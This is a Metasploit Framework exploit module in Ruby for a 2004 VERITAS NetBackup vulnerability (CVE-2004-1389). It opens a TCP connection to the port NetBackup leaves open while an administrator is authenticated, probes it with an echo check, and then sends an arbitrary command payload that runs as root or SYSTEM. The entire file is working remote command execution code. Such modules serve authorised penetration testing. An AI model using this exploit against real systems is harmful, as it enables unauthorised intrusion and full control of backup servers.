VERITAS NetBackup Remote Command Execution

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'VERITAS NetBackup Remote Command Execution',  
'Description' => %q{  
This module allows arbitrary command execution on an  
ephemeral port opened by Veritas NetBackup, whilst an  
administrator is authenticated. The port is opened and  
allows direct console access as root or SYSTEM from  
any source address.  
},  
'Author' => [ 'patrick' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1389' ],  
[ 'OSVDB', '11026' ],  
[ 'BID', '11494' ],  
[ 'URL', 'http://seer.support.veritas.com/docs/271727.htm' ],  
  
],  
'Privileged' => true,  
'Platform' => ['unix', 'win', 'linux'],  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => '',  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl telnet',  
}  
},  
'Targets' =>   
[  
['Automatic', { }],  
],  
'DisclosureDate' => 'Oct 21 2004',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
  
sploit = rand_text_alphanumeric(10)  
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n"  
  
sock.put(buf)  
banner = sock.get(3,3)  
  
disconnect  
  
if (banner and banner =~ /#{sploit}/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
sploit = payload.encoded.split(" ")  
  
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\n"  
buf << payload.encoded  
buf << "\n"  
  
sock.put(buf)  
res = sock.get(-1,3)  
  
print_status("#{res}")  
  
handler  
disconnect  
end  
  
end  
  
  
`